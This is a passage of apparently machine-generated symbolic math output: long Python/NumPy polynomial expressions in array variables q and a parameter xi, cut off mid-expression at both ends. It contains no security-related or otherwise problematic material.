0]*q[2, 0] - 25283.9506172839*q[1, 0]**2 + 25283.9506172839*q[1, 0]*q[2, 0] - 25283.9506172839*q[2, 0]**2 + 53.3333333333333) + 60131984.3684659*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 1522090.85432679*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 22474.6227709191*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 158.024691358025*q[0, 0]**2 + 158.024691358025*q[0, 0]*q[1, 0] + 158.024691358025*q[0, 0]*q[2, 0] - 158.024691358025*q[1, 0]**2 + 158.024691358025*q[1, 0]*q[2, 0] - 158.024691358025*q[2, 0]**2 + 1/3, 60131984.3684659*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1522090.85432679*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(-79.0123456790123*q[0, 0] - 79.0123456790123*q[1, 0] - 79.0123456790123*q[2, 0] - 35.5555555555555) + 22474.6227709191*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-51312626661.0909*(-5*q[0, 0] + 10*q[1, 0] - 5*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1623563577.94858*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 31963907.9408627*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 337119.341563786*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 1422.22222222222*q[0, 0] - 2844.44444444444*q[1, 0] + 1422.22222222222*q[2, 0]) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-25283.9506172839*q[0, 0] + 12641.975308642*q[1, 0] + 12641.975308642*q[2, 0])*(-q[0, 0] + 2*q[1, 0] - q[2, 0]) + 2405279374.73864*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 30441817.0865359*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 898984.910836762*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 4810558749.47727*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*q[0, 0]**2 - 12641.975308642*q[0, 0]*q[1, 0] - 12641.975308642*q[0, 0]*q[2, 0] + 12641.975308642*q[1, 0]**2 - 12641.975308642*q[1, 0]*q[2, 0] + 12641.975308642*q[2, 0]**2 - 26.6666666666667) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] + 2*q[1, 0] - q[2, 0]) + 4810558749.47727*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)) + 60131984.3684659*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 1522090.85432679*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 22474.6227709191*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 158.024691358025*q[0, 0]**2 + 158.024691358025*q[0, 0]*q[1, 0] + 158.024691358025*q[0, 0]*q[2, 0] - 158.024691358025*q[1, 0]**2 + 158.024691358025*q[1, 0]*q[2, 0] - 158.024691358025*q[2, 0]**2 + 1/3, 60131984.3684659*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1522090.85432679*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(-79.0123456790123*q[0, 0] - 79.0123456790123*q[1, 0] - 79.0123456790123*q[2, 0] - 35.5555555555555) + 22474.6227709191*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-51312626661.0909*(-5*q[0, 0] - 5*q[1, 0] + 10*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1623563577.94858*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 31963907.9408627*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 337119.341563786*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 1422.22222222222*q[0, 0] + 1422.22222222222*q[1, 0] - 2844.44444444444*q[2, 0]) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-25283.9506172839*q[0, 0] + 12641.975308642*q[1, 0] + 12641.975308642*q[2, 0])*(-q[0, 0] - q[1, 0] + 2*q[2, 0]) + 2405279374.73864*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 30441817.0865359*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 898984.910836762*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 4810558749.47727*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*q[0, 0]**2 - 12641.975308642*q[0, 0]*q[1, 0] - 12641.975308642*q[0, 0]*q[2, 0] + 12641.975308642*q[1, 0]**2 - 12641.975308642*q[1, 0]*q[2, 0] + 12641.975308642*q[2, 0]**2 - 26.6666666666667) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] - q[1, 0] + 2*q[2, 0]) - 4810558749.47727*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)) + 60131984.3684659*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 1522090.85432679*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 22474.6227709191*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 158.024691358025*q[0, 0]**2 + 158.024691358025*q[0, 0]*q[1, 0] + 158.024691358025*q[0, 0]*q[2, 0] - 158.024691358025*q[1, 0]**2 + 158.024691358025*q[1, 0]*q[2, 0] - 158.024691358025*q[2, 0]**2 + 1/3, (4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])) + (2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0])*(-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 320703916.631818*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 10147272.3621786*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 